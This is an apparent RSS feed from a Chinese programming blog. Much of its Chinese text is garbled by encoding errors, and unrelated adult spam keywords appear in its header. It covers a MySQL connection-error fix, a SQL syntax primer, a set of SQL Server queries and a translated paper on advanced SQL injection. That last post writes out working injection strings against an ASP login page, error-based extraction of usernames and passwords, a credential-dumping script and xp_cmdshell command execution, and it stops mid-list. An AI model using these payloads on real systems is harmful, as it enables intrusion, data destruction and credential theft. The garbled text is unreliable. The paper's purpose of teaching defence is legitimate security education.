??xml version="1.0" encoding="utf-8" standalone="yes"?>一本久久综合亚洲鲁鲁五月天,久久精品国产亚洲5555,亚洲s码欧洲m码吹潮http://m.tkk7.com/bcims/category/7098.html------------------什么样的素质决定什么样的技?/description>zh-cnTue, 03 Jul 2007 16:47:46 GMTTue, 03 Jul 2007 16:47:46 GMT60ERROR 2003: Can't connect to MySQL server on 'localhost' (10061)解决Ҏhttp://m.tkk7.com/bcims/archive/2007/07/03/127939.htmlbcimsbcimsTue, 03 Jul 2007 11:41:00 GMThttp://m.tkk7.com/bcims/archive/2007/07/03/127939.htmlhttp://m.tkk7.com/bcims/comments/127939.htmlhttp://m.tkk7.com/bcims/archive/2007/07/03/127939.html#Feedback0http://m.tkk7.com/bcims/comments/commentRss/127939.htmlhttp://m.tkk7.com/bcims/services/trackbacks/127939.html 我经常在把电脑用工具整理后,常出C用frontmysqlq不上mysql的问题。出现的错误提示?/font> ERROR 2003: Can't connect to MySQL server on 'localhost' (10061)Q?/strong> 以前q个问题我也遇到q,在csdn里也有h遇到q。但我感觉大家好像都要保留一些东西一PL草草的讲了一下,后来我在国外的一个网?/font> http://forums.devshed.com/mysql-help-4/error-2003-can-t-connect-to-mysql-server-on-localhost-26423.html 上找C{案Q现跟大家分享一下,希望能对大家有所帮助?br />
具体解决是:
 had this problem, and this what helped me.....

I have Winxp.....

I removed the previous service, because I had an earlier version....

/bin/mysqld-nt /remove

Then I installed the service


/bin/mysqld-nt /install

Then I edited the my.ini file, by opening winMysqladmin

/bin/winmysqladmin
That command having opened the program...then you should

then select 4th tab, which is the my.ini file

You then edit the file to reflect where you had the files of MYSQL...

as the MY.ini said I had it under c:\mysql ....and I had it under
another folder altogeather....

For simplicity sake, I just copied the files from my current folder to
the specified by my.ini

This got me the access I wanted....

Very happy...

Hope this helps....

Regards Justin(James)HORT
From New Zealand, Palmy


bcims 2007-07-03 19:41 发表评论
]]>
SQL语法速成 http://m.tkk7.com/bcims/archive/2007/06/10/123245.htmlbcimsbcimsSun, 10 Jun 2007 13:32:00 GMThttp://m.tkk7.com/bcims/archive/2007/06/10/123245.htmlhttp://m.tkk7.com/bcims/comments/123245.htmlhttp://m.tkk7.com/bcims/archive/2007/06/10/123245.html#Feedback0http://m.tkk7.com/bcims/comments/commentRss/123245.htmlhttp://m.tkk7.com/bcims/services/trackbacks/123245.html 一、SQL速成
l构查询语言(SQL)是用于查询关pL据库的标准语aQ它包括若干关键字和一致的语法Q便于数据库元g(如表、烦引、字D늭)的徏立和操纵?
以下是一些重要的SQL快速参考,有关SQL的语法和在标准SQL上增加的Ҏ,h询MySQL手册?

1Q创
表是数据库的最基本元素之一Q表与表之间可以怺独立Q也可以怺兌。创的基本语法如下:
create table table_name
(column_name data无效 {identity |null|not null},
?
其中参数table_name和column_name必须满用户数据库中的识别器(identifier)的要求,参数data无效是一个标准的SQLcd或由用户数据库提供的cd。用戯使用non-null从句为各字段输入数据?
create tableq有一些其他选项Q如创徏临时表和使用select子句从其他的表中d某些字段l成新表{。还有,在创是可用PRIMARY KEY、KEY、INDEX{标识符讑֮某些字段Z键或索引{?
书写上要注意Q?
在一对圆括号里的列出完整的字D|单?
字段名间用逗号隔开?
字段名间的逗号后要加一个空根{?
最后一个字D名后不用逗号?
所有的SQL陈述都以分号";"l束?
例:
mysql> CREATE TABLE test (blob_col BLOB, index(blob_col(10)));

2Q创建烦?
索引用于Ҏ据库的查询。一般数据库建有多种索引ҎQ每U方案都_于某一特定的查询类。烦引可以加速对数据库的查询q程。创建烦引的基本语法如下Q?
create index index_name
on table_name (col_name[(length)],... )
例:
mysql> CREATE INDEX part_of_name ON customer (name(10));

3Q改变表l构
在数据库的用过E中Q有旉要改变它的表l构Q包括改变字D名Q甚x变不同数据库字段间的关系。可以实Cq改变的命o是alterQ其基本语法如下Q?
alter table table_name alter_spec [, alter_spec ...]
例:
mysql> ALTER TABLE t1 CHANGE a b INTEGER;

4Q删除数据对?
很多数据库是动态用的Q有时可能需要删除某个表或烦引。大多数数据库对象可以下面的命o删除Q?
drop object_name
mysql> DROP TABLE tb1;

5Q执行查?
查询是用最多的SQL命o。查询数据库需要凭借结构、烦引和字段cd{因素。大多数数据库含有一个优化器(optimizer)Q把用户的查询语句{换成可选的形式Q以提高查询效率?
值得注意的是MySQL不支持SQL92标准的嵌套的where子句Q即它只支持一个where子句。其基本语法如下Q?
SELECT [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [HIGH_PRIORITY]
[DISTINCT | DISTINCTROW | ALL]
select_expression,...
[INTO {OUTFILE | DUMPFILE} 'file_name' export_options]
[FROM table_references
[WHERE where_definition]
[GROUP BY col_name,...]
[HAVING where_definition]
[ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] ,...]
[LIMIT [offset,] rows]
[PROCEDURE procedure_name] ]
其中where从句是定义选择标准的地方,where_definition可以有不同的格式Q但都遵循下面的形式Q?
字段名操作表辑ּ
字段名操作字D名
在第一UŞ式下Q标准把字段的g表达式进行比较;在第二种形式下,把两个字D늚D行比较。根据所比较的数据类型,search_condition中的操作可能选以下几U:
= 查是否相{?
Q? 查是否不{?

> (?gt;=) 查左边值是否大?或大于等?双?
<(?lt;=) 查左边值是否小?或小于等?双?
[not] between 查左边值是否在某个范围?
[not] in 查左Ҏ否某个特定集的成?
[not] like 查左Ҏ否ؓ双的子?
is [not] null 查左Ҏ否ؓI?
在这里,可以用通配W_代表M一个字W,Q代表Q何字W串。用关键字<AND>?lt;OR>?lt;NOT>可以生成复杂的词Q它们运行检查时使用布尔表达式的多重标准集?
例:
mysql> select t1.name, t2.salary from employee AS t1, info AS t2 where t1.name = t2.name;
mysql> select college, region, seed from tournament
ORDER BY region, seed;
mysql> select col_name from tbl_name WHERE col_name > 0;

6Q修改表中数?
在用数据库q程中,往往要修改其表中的数据,比如往表中d新数据,删除表中原有数据Q或对表中原有数据进行更攏V它们的基本语法如下Q?
数据dQ?
insert [into] table_name [(column(s))]
values (expression(s))
例:
mysql> INSERT INTO tbl_name (col1,col2) VALUES(15,col1*2);
数据删除Q?
删除 from table_name where search_condition
数据更改Q?
更新 table_name
set column1=expression1,
column2=expression2,?
where search_condition

7Q数据库切换
当存在多个数据库Ӟ可以用下面的命o定义用户想用的数据库:
use database_name

8Q统计函?
SQL有一些统计函敎ͼ它们对于生成数据表格很有帮助。下面介l几个常用的l计函数Q?
sum (exepression) 计算表达式的?
avg (exepression) 计算表达式的q_?
count (exepression) 对表辑ּq行单的计数
count (*) l计记录?
max (exepression) 求最大?
min (exepression) 求最?
其中exepressionZQ何有效的SQL表达式,它可以是一个或多个记录Q也可以是别的SQL函数的组合?

二、MySQL使用导引
1Q运用MySQL建立新数据库
在shell下运行:
Q?gt;mysqladmin create database01
Database "database01" created.

2Q启动MySQL
在shell下运行:
Q?gt;mysql
Welcome to the MySQL monitor. Commands end with ; or g.
Your MySQL connection id is 22 to server version: 3.21. 29a-gamma-debug
无效 'help' for help.

3Q更换数据库
mysql>use database01
database changed.

4Q创
mysql>create table table01 (field01 integer, field02 char(10));
Query OK, 0 rows affected (0.00 sec)

5Q列清单
mysql>show tables;
Tables in database01
Table01
table02

6Q列中的字段清单
mysql>show columns from table01;
Field 无效 Null Key Default Extra
field01 int(11) YES
field02 char(10) YES

7Q表的数据填?
插入数据
mysql>insert into table01 (field01, field02) values (1, 'first');
Query OK, 1 row affected (0.00 sec)

8Q字D늚增加
...一ơ一个字D?
mysql>alter table table01 add column field03 char(20);
Query OK, l row affected (0.04 sec)
Records: 1 Duplicates: 0 Warnings: 0
...一ơ多个字D?
mysql>alter table table01 add column field04 date, add column field05 time;
Query OK, l row affected (0.04 sec)
Records: 1 Duplicates: 0 Warnings: 0
注意Q每一列都必须?add column"重新开始?
它运行了吗?让我们看看?
mysql>select * from table01;
field01 field02 field03 field04 field05
1 first NULL NULL NULL

9Q多行命令输?
MySQL命o行界面允许把陈述作ؓ一行输入,也可以把它展开为多行输入。这两者之间ƈ没有语法上的区别。用多行输入,你可以将SQL陈述一步步分解Q从而你更Ҏ理解?
在多行方式下Q注释器把每一行都d到前面的行后Q直C用分?;"来结束这个SQL陈述。一旦键入分号ƈ按回车键Q这个陈q即被执行?
下面的例子是同一个严格的SQL陈述的两U输入方法:
单行输入
Mysql>create table table33 (field01 integer, field02 char(30));
多行输入
Mysql>create table table33
->(field01
->integer,
->field02
->char(30));
注意不能单词断开Q如Q?
正确
mysql>create table table33
->( field01
->integer,
->field02
->char(30));
错误
mysql>create table table33
->( field01 inte
->ger,
->field02
->char(30));
当插入或更改数据Ӟ不能字D늚字符串展开到多行里Q否则硬回R被储存到数据中Q?
标准操作
mysql>insert into table33 (field02)
->values
->('who thought of foo?');
回车储存到数据?
mysql>insert into table33 (field02)
->values
->('who thought
->of foo?');
l果如下Q?
mysql>select * from table33;
field01 field02
NULL who thought of foo?
NULL who thought
Of foo?

10Q表的数据嵌?
mysql>insert into table01 (field01, field02, field03, field04, field05) values
->(2, 'second', 'another', '1999-10-23', '10:30:00');
Query OK, 1 row affected (0.00 sec)
标准日期格式?yyyy-mm-dd"?
标准旉格式?hh:mm:ss"?
引号内要求所l的是上q的标准日期和时间格式?
日期也可?yyyymmdd"形式Q时间也可以"hhmmss"形式输入Q但其g需要再加引受?
数字g需要加引号。这U保存与数据cd无关Q这些数据类型都有格式化的专栏来包含(例如Q文本,日期Q时_整数{??
MySQL有一个很有用的命令缓冲区。它保存着你目前已l键入的SQL语句利用它,对于相同的命令,你就不必一遍又一遍地重复输入。下一步我们就来看q样的一个例子?
利用命o~冲?及Q意的日期和时间格?增加另一个数?
按两ơ键盘上的向上箭头键?
回R?
在圆括号内输入新的|q以分号l尾?
(3, 'a third', 'more', 19991024, 103004);
回R?
新值存在里面了吗?
mysql>select * from table01;
field01 field02 field03 field04 field05
1 first NULL NULL NULL
2 second another 1999-10-23 10:30:00
3 a third more 1999-10-24 10:30:04

11Q表的数据更?
一ơ修改一个字D?
再次注意语法。文本需要加引号但数字不要?
mysql>更新 table01 set field03='new info' where field01=1;
Query OK, 1 row affected (0.00 sec)
一ơ改变多个字D?
C在每一个更新的字段间用逗号隔开?
mysql>更新 table01 set field04=19991022, field05=062218 where field01=1;
Query OK, 1 row affected (0.00 sec)
一ơ更新多个数?
mysql>更新 table01 set field05=152901 where field04>19990101;
Query OK, 3 rows affected (0.00 sec)

12Q删除数?
mysql>删除 from table01 where field01=3;
Query OK, 1 row affected (0.00 sec)

13Q退?
mysql>quit
Bye
?在你已经了解了一些运行MySQL中的数据库的Ҏ命o。由于MySQL是通过执行SQL调用来操作的Q在你的处理q程中需要一个强有力工具的充的?l。例如,通过联接相关的字D,你可以同时显C几个表中的数据。同PSQL允许l合昄、更新或者删除多个符合具体标准的数据。如果你q想_N掌握它Q?下一步就要学习所有SQL的知识?



bcims 2007-06-10 21:32 发表评论
]]>
SQL语句集合 http://m.tkk7.com/bcims/archive/2007/03/16/104368.htmlbcimsbcimsFri, 16 Mar 2007 13:55:00 GMThttp://m.tkk7.com/bcims/archive/2007/03/16/104368.htmlhttp://m.tkk7.com/bcims/comments/104368.htmlhttp://m.tkk7.com/bcims/archive/2007/03/16/104368.html#Feedback0http://m.tkk7.com/bcims/comments/commentRss/104368.htmlhttp://m.tkk7.com/bcims/services/trackbacks/104368.html1.用一个表中的一个字D|新另一个表中的字段

update  TableA  set  name  =  b.name  from  TableA a,TableB b  where  a.idA  = b.idB

-- 错误语句(An aggregate may not appear in the set list of an UPDATE statement.)
update  yaf_Topic  set  LastPosted  =   max (posted),NumPosts = count ( * from  yaf_Message a,yaf_Topic b  where  a.TopicID  = b.TopicID  and  b.ForumID  =   10

-- 正确语句
update  yaf_Topic 
    
set   LastPosted  =  maxLastPosted,NumPosts  =  NumPostscount  
from  ( select  maxLastPosted  =   max (posted),NumPostscount = count ( * ),TopicID  from  yaf_Message  group   by  topicID)a,yaf_Topic b 
where  a.TopicID  = b.TopicID  and  b.ForumID  =   10

2.判断W合某个条g的记录是否存?存在则不insert,不存在则Insert

insert   into  yaf_ProduceReviewPostHis(TopicID,Created,Flag,ReplyCount)  select   12345678 ' 23 ' 1 20   where   not   exists ( select   1   from  yaf_ProduceReviewPostHis  where  TopicID = 12345678   and  Created = ' 23 '   and  Flag = 1 )


3.判断数据重复

select   count ( * from  
(
select   count ( * as  user_count,userID,ForumID
from  yaf_vaccess
group   by  userID,ForumID
having   count ( * ) > 1 ) a

4.N复列

select  a. *   from  test a,( select   count = count ( * ),string = min (string),test_id = min (test_id)  from  test  group   by  string) b  where  a.string = b.string  and  a.test_id <> b.test_id


5.删除重复数据

delete  test  where  test.test_id  in  (
select  a.test_id  from  test a,( select   count = count ( * ),string = min (string),test_id = min (test_id)  from  test  group   by  string) b  where  a.string = b.string  and  a.test_id <> b.test_id
)

6.having
 HAVING 子句q做h非常?WHERE 子句Q?只用于对那些满 HAVING 子句里面l出的条件的l进行计?其实QWHERE 在分l和聚集之前qo掉我们不需要的输入行, ?HAVING ?GROUP 之后那些不需要的l. 因此QWHERE 无法使用一个聚集函数的l果Q?而另一斚wQ我们也没有理由写一个不涉及聚集函数?HAVINGQ?如果你的条g不包含聚集,那么你也可以把它写在 WHERE 里面Q?q样可以避免对那些你准备抛弃的行进行的聚集q算Q?

  *聚集函数 指的是象count,max,sum,AVG{函?/p>

 如果我们想知道那些销售超q?个部件的供应商,使用下面查询Q?/p>

  SELECT  S.SNO, S.SNAME,  COUNT (SE.PNO) 
 
FROM  SUPPLIER S, SELLS SE 
 
WHERE  S.SNO  =  SE.SNO   
 
GROUP   BY  S.SNO, S.SNAME  
 
HAVING   COUNT (SE.PNO)  >   2 ;

5.带有子查询的insert
当带有子查询是不能用values和括受例如:

insert  test2(id,string,string1, number )
select  test_id,string,string1,test. number   from  test,test1  where  test.test_id = test1.id

6.not exists

select   *   from  test1  where    not   exists ( select   *   from  test  where  test1.id  =  test.test_id)

7.关于在SQL中插入数据ƈq回ID的方法 ?/p>

INSERT   INTO  test  values ( ' sss ' )
SELECT   SCOPE_IDENTITY ()  


8.多子查询

SELECT  A.NUM, A.NAME, B.UPD_DATE, B.PREV_UPD_DATE

  
FROM  TABLE1 A, 

    (
SELECT  X.NUM, X.UPD_DATE, Y.UPD_DATE PREV_UPD_DATE

        
FROM  ( SELECT  NUM, UPD_DATE, INBOUND_QTY, STOCK_ONHAND

                
FROM  TABLE2

              
WHERE  TO_CHAR(UPD_DATE, ' YYYY/MM ' =  TO_CHAR(SYSDATE,  ' YYYY/MM ' )) X, 

            (
SELECT  NUM, UPD_DATE, STOCK_ONHAND

                
FROM  TABLE2

              
WHERE  TO_CHAR(UPD_DATE, ' YYYY/MM ' =  

                    TO_CHAR(TO_DATE(TO_CHAR(SYSDATE, 
' YYYY/MM ' ||   ' /01 ' , ' YYYY/MM/DD ' -   1 ' YYYY/MM ' ) ) Y, 

        
WHERE  X.NUM  =  Y.NUM Q?/span> + Q?br />
          
AND  X.INBOUND_QTY  +  NVL(Y.STOCK_ONHAND, 0 <>  X.STOCK_ONHAND ) B

WHERE  A.NUM  =  B.NUM


9.曄挽救q我的语?br />
select  * from bbs.dbo.yaf_topic a 
 
full join  bbs_temp_20050830.dbo.yaf_topic b
on a.topicid=b.topicid
where a.topicid is null 
 
-----------------------------------
set  identity_insert yaf_topic on

INSERT INTO [bbs].[dbo].[yaf_Topic]([TopicID][ForumID][UserID][Posted][Topic][Views][IsLocked][Priority][PollID][TopicMovedID][LastPosted][LastMessageID][LastUserID][LastUserName][NumPosts][PhotoTypeID][PhotoFilmName][PhotoCamera][ActionDate][CheckFlag][NoReply][Hide])
select  b.* from bbs.dbo.yaf_topic a 
 
full join  bbs_temp_20050830.dbo.yaf_topic b
on a.topicid=b.topicid
where a.topicid is null 
 
set  identity_insert yaf_topic off

10.在存储过E中执行一个返回表的存储过E?br />
create table #data(TopicID bigint, MessageID bigint )                          

insert #data exec yaf_topic_save @ForumID,@topic,@UserID,@Message,@Priority,@IP,@PollID,@ActionDate,@TopicMovedID,@Country,@Sheng,@Shi,@JinQu,@PhotoTypeID,@PhotoFilmName,@PhotoCamera,@Posted

11.带有输出参数的存储过E?br />

  
Create Proc [dbo].cs_GetAnonymousUserID  
(  
 
@SettingsID int,  
 
@UserID int output  
)  
as  
SET Transaction Isolation Level Read UNCOMMITTED  
Select @UserID = cs_UserID FROM cs_vw_Users_FullUser where SettingsID = @SettingsID and IsAnonymous = 1 


bcims 2007-03-16 21:55 发表评论
]]>
SQLServer应用E序中的高SQL注入 http://m.tkk7.com/bcims/archive/2006/01/17/28341.htmlbcimsbcimsTue, 17 Jan 2006 11:53:00 GMThttp://m.tkk7.com/bcims/archive/2006/01/17/28341.htmlhttp://m.tkk7.com/bcims/comments/28341.htmlhttp://m.tkk7.com/bcims/archive/2006/01/17/28341.html#Feedback0http://m.tkk7.com/bcims/comments/commentRss/28341.htmlhttp://m.tkk7.com/bcims/services/trackbacks/28341.html

SQLServer应用E序中的高SQL注入

作者:Chris Anley

摘要Q?
q䆾文档是详l讨论SQL注入技术,它适应于比较流行的IIS+ASP+SQLSERVERq_。它讨论了哪些SQL语句能通过各种各样的方法注入到应用E序中,q且记录与攻ȝ关的数据认和数据库锁定?

q䆾文档的预期读者ؓ与数据库通信的WEBE序的开发者和那些扮演审核WEB应用E序的安全专家?/P>

介绍Q?
SQL是一U用于关pL据库的结构化查询语言。它分ؓ许多U,但大多数都松散地Z国国家标准化组l最新的标准SQL-92。典型的执行语句是queryQ它能够攉比较有达标性的记录q返回一个单一的结果集。SQL语言可以修改数据库结构(数据定义语言Q和操作数据库内容(数据操作语言Q。在q䆾文档中,我们特别讨论SQLSERVER所使用的Transact-SQL语言?
当一个攻击者能够通过往query中插入一pd的sql语句来操作数据写入到应用E序中去Q我们管q种Ҏ定义成SQL注入?

一个典型的SQL语句如下Q?
Select id,forename,surname from authors
q条语句返回authors表中所有行的idQforename和surname列。这个结果可以被限制Q例如:
Select id,forename,surname from authors where forename'john' and surname='smith'
需要着重指明的是字W串'john'?smith'被单引号限制。明的_forename和surname字段是被用户提供的输入限制的Q攻击者可以通过输入值来往q个查询中注入一些SQL语句Q如下:
ForenameQjo'hn
SurnameQsmith
查询语句变ؓQ?
Select id,forename,surname from authors where forename='jo'hn' and surname='smith'
当数据库试图L行这个查询时Q它返回如下错误:
ServerQMsg 170, Level 15, State 1, Line 1
Line 1QIncorrect syntax near 'hn'
造成q种l果的原因是插入?作ؓ定界W的单引受数据库试L?hn'Q但是失败。如果攻击者提供特别的输入如:
ForenameQjo';drop table authors?
SurnameQ?
l果是authors表被删除Q造成q种l果的原因我们稍后再讌Ӏ?

看上d象通过从输入中L单引h者通过某些Ҏ避免它们都可以解册个问题。这是可行的Q但是用q种Ҏ做解x法会存在几个困难。第一Qƈ不是所有用h供的数据都是字符丌Ӏ如果用戯入的是通过用户id来查询authorQ那我们的查询应该像q样Q?
Select id,forename,surname from authors where id=1234
在这U情况下Q一个攻击者可以非常简单地在数字的l尾dSQL语句Q在其他版本的SQL语言中,使用各种各样的限定符P在数据库理pȝJET引擎中,数据可以被?#'限定。第二,避免单引号尽看上去可以Q但是是没必要的Q原因我们稍后再讌Ӏ?

我们更进一步地使用一个简单的ASP登陆面来指出哪些能q入SQLSERVER数据库ƈ且尝试鉴别进入一些虚构的应用E序的权限?
q是一个提交表单页的代码,让用戯入用户名和密码:
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>

<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_loginasp' method=post>
<TABLE>
<TR><TD>UsernameQ?lt;/TD><TD><INPUT type=text name=username size=100 width=100></TD></TR>
<TR><TD>PasswordQ?lt;/TD><TD><INPUT type=password name=password size=100 withd=100></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'><INPUT type=reset value='Reset'>
</FORM>
</Font>
</BODY>
</HTML>
下面是process_login.asp的代码,它是用来控制登陆的:
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str ) {
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn ) {
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF) {
rso.close();
%>
<FONT Face='tahoma' color='cc0000'>
<H1> <BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<% Response.end return; }
else {
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1> <CENTER>ACCESS GRANTED<BR> <BR>
Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end }
}
function Main() { //Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0) {
Login( cn );
}
cn.close();
}
Main();
%>
出现问题的地Ҏprocess_lgin.asp中生查询语句的部分Q?
Var sql="select * from users where username='"+username+"' and password='"+password+"'";
如果用户输入的信息如下:
UsernameQ?;drop table users?
PasswordQ?
数据库中表users被删除Q拒lQ何用戯入应用程序??W号在Transact-SQL中表C忽??以后的语句,';'W号表示一个查询的l束和另一个查询的开始??位于username字段中是必须的,它ؓ了ɘq个Ҏ的查询终止,q且不返回错误?

d者可以只需提供他们知道的用户名Q就可以以Q何用L陆,使用如下输入Q?
UsernameQadmin'?
d者可以用users表中W一个用P输入如下Q?
UsernameQ? or 1=1?
更特别地Q攻击者可以用完全虚构的用户登陆Q输入如下:
UsernameQ? union select 1,'fictional_user','some_password',1?
q种l果的原因是应用E序怿d者指定的是从数据库中q回l果的一部分?

通过错误消息获得信息
q个几乎是David Litchfield首先发现的,q且通过作者渗透测试的Q后来David写了一份文档,后来作者参考了q䆾文档。这些解释讨Z‘错误消息‘潜在的机制Q读者能够完全地了解它,潜在地引发他们的能力?

Z操作数据库中的数据,d者必ȝ定某些数据库和某些表的结构。例如我们可以用如下语句创建user表:
Create talbe users(
Id int,
Username varchar(255),
Password varchar(255),
Privs int
)
然后下面的用户插入到users表中Q?
Insert into users values(0,'admin','r00tr0x!',0xffff)
Insert into users values(0,'guest','guest',0x0000)
Insert into users values(0,'chris','password',0x00ff)
Insert into users values(0,'fred','sesame',0x00ff)
如果我们的攻击者想插入一个自q用户。在不知道users表结构的情况下,他不可能成功。即使他比较q运Q至于privs字段不清楚。攻击者可能插入一?1'Q这样只l他自己一个低权限的用戗?
q运圎ͼ如果从应用程序(默认为ASP行ؓQ返回错误消息,那么d者可以确定整个数据库的结构,q且可以以程序中q接SQLSERVER的权限度曲Q何倹{?
Q下面以一个简单的数据库和asp脚本来D例说明他们是怎么工作的)
首先Q攻击者想获得建立用户的表的名字和字段的名字,要做q些Q攻击者需要用select语法的having子句Q?
UsernameQ? having 1=1?
q样会出现如下错误Q?
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
因此现在d者知道了表的名字和第一个地D늚名字。他们仍然可以通过把字D|到group by子句只能感去扑ֈ一个一个字D名Q如下:
UsernameQ? group by users.id having 1=1?
出现的错误如下:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
最l攻击者得Cusername字段后:
?group by users.id,users.username,users.password,users.privs having 1=1?
q句话ƈ不生错误,相当于:
select * from users where username=''
因此d者现在知道查询涉及users表,按顺序用列'id,username,password,privs'?
能够定每个列的cd是非常有用的。这可以通过使用cd转化来实玎ͼ例如Q?
UsernameQ? union select sum(username) from users?
q利用了SQLSERVER在确定两个结果集的字D|否相{前应用sum子句。尝试去计算sum会得C下消息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
q告诉了我们'username'字段的类型是varchar。如果是另一U情况,我们试去计sum()的是数字cdQ我们得到的错误消息告诉我们两个集合的字D|量不相等?
UsernameQ? union select sum(id) from users?
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
我们可以用这U技术近似地定数据库中M表中的Q何字D늚cd?
q样d者就可以写一个好的insert查询Q例如:
UsernameQ?;insert into users values(666,'attacker','foobar','0xffff)?
q种技术的潜在影响不仅仅是q些。攻击者可以利用这些错误消息显C环境信息或数据库。通过q行一列一定格式的字符串可以获得标准的错误消息Q?
select * from master ..sysmessages
解释q些实现有的消息?

一个特别有用的消息关系到类型{化。如果你试一个字W串转化成一个整型数字,那么字符串的所有内容会q回到错误消息中。例如在我们单的登陆面中,在username后面会显C出SQLSERVER的版本和所q行的操作系l信息:
UsernameQ? union select @@version,1,1,1?
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
/process_login.asp, line 35
q句试d内置?A href="mailto:'@@version'">'@@version'帔R转化成一个整型数字,因ؓusers表中的第一列是整型数字?

q种技术可以用来读取数据库中Q何表的Q何倹{自从攻击者对用户名和用户密码比较感兴后Q他们比较喜Ƣ去从users表中d用户名,例如Q?
UsernameQ? union select min(username),1,1,1 from users where username>'a'?
q句选择users表中username大于'a'中的最|q试图把它{化成一个整型数字:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
因此d者已l知道用户admin是存在的。这样他可以重复通过使用where子句和查询到的用户名d找下一个用戗?
UsernameQ? union select min(username),1,1,1 from users where username>'admin'?
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
一旦攻击者确定了用户名,他就可以开始收集密码:
UsernameQ? union select password,1,1,1 from users where username='admin'?
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35

一个更高的技术是所有用户名和密码连接长一个单独的字符Ԍ然后试把它转化成整型数字。这个例子指出:Transavt-SQL语法能够在不改变相同的行的意思的情况下把它们q接h。下面的脚本把D接v来:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end
d者用这个当作用户名登陆Q都在一行)
Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end?
q就创徏了一个foo表,里面只有一个单独的?ret'Q里面存攄我们得到的用户名和密码的字符丌Ӏ正常情况下Q一个低权限的用戯够在同一个数据库中创Q或者创Z时数据库?
然后d者就可以取得我们要得到的字符Ԍ
UsernameQ? union select ret,1,1,1 from foo?
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.
/process_login.asp, line 35
然后丢弃Q删除)表来清楚脚印Q?
UsernameQ?; drop table foo?
q个例子仅仅是这U技术的一个表面的作用。没必要_如果d者能够从数据库中获得_的错误西Q他们的工作变的无限简单?

获得更高的权?
一旦攻击者控制了数据库,他们想利用那个权限去获得网l上更高的控制权。这可以通过许多途径来达刎ͼ
1. 在数据库服务器上Q以SQLSERVER权限利用xp_cmdshell扩展存储q程执行命o?
2. 利用xp_regread扩展存储q程去读注册表的键|当然包括SAM键(前提是SQLSERVER是以pȝ权限q行的)
3. 利用其他存储q程L变服务器
4. 在连接的服务器上执行查询
5. 创徏客户扩展存储q程dSQLSERVERq程中执行溢Z?
6. 使用'bulk insert'语法去读服务器上的Q意文?
7. 使用bcp在服务器上徏立Q意的文本格式的文?
8. 使用sp_OACreate,sp_OAMethod和sp_OAGetPropertypȝ存储q程d建ActiveX应用E序Q它能做Q何ASP脚本可以做的事情

q些只列举了非常普通的可能dҎ的少量,d者很可能使用其它Ҏ。我们介l收集到的攻d于SQL服务器的明显dҎQؓ了说明哪斚w可能q被授予权限L入SQL.。我们将依次处理以上提到的各U方法:

[xp_cmdshell]
许多存储q程被创建在SQLSERVER中,执行各种各样的功能,例如发送电子邮件和与注册表交互?
Xp_cmdshell是一个允许执行Q意的命o行命令的内置的存储过E。例如:
Exec master..xp_cmdshell 'dir'
获得SQLSERVERq程的当前工作目录中的目录列表?
Exec master..xp_cmdshell 'net user'
提供服务器上所有用L列表。当SQLSERVER正常以系l帐h域帐戯行时Q攻击者可以做出更严重的危実?

[xp_regread]
另一个有用的内置存储q程是xp_regXXXXcȝ函数集合?
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumkeys
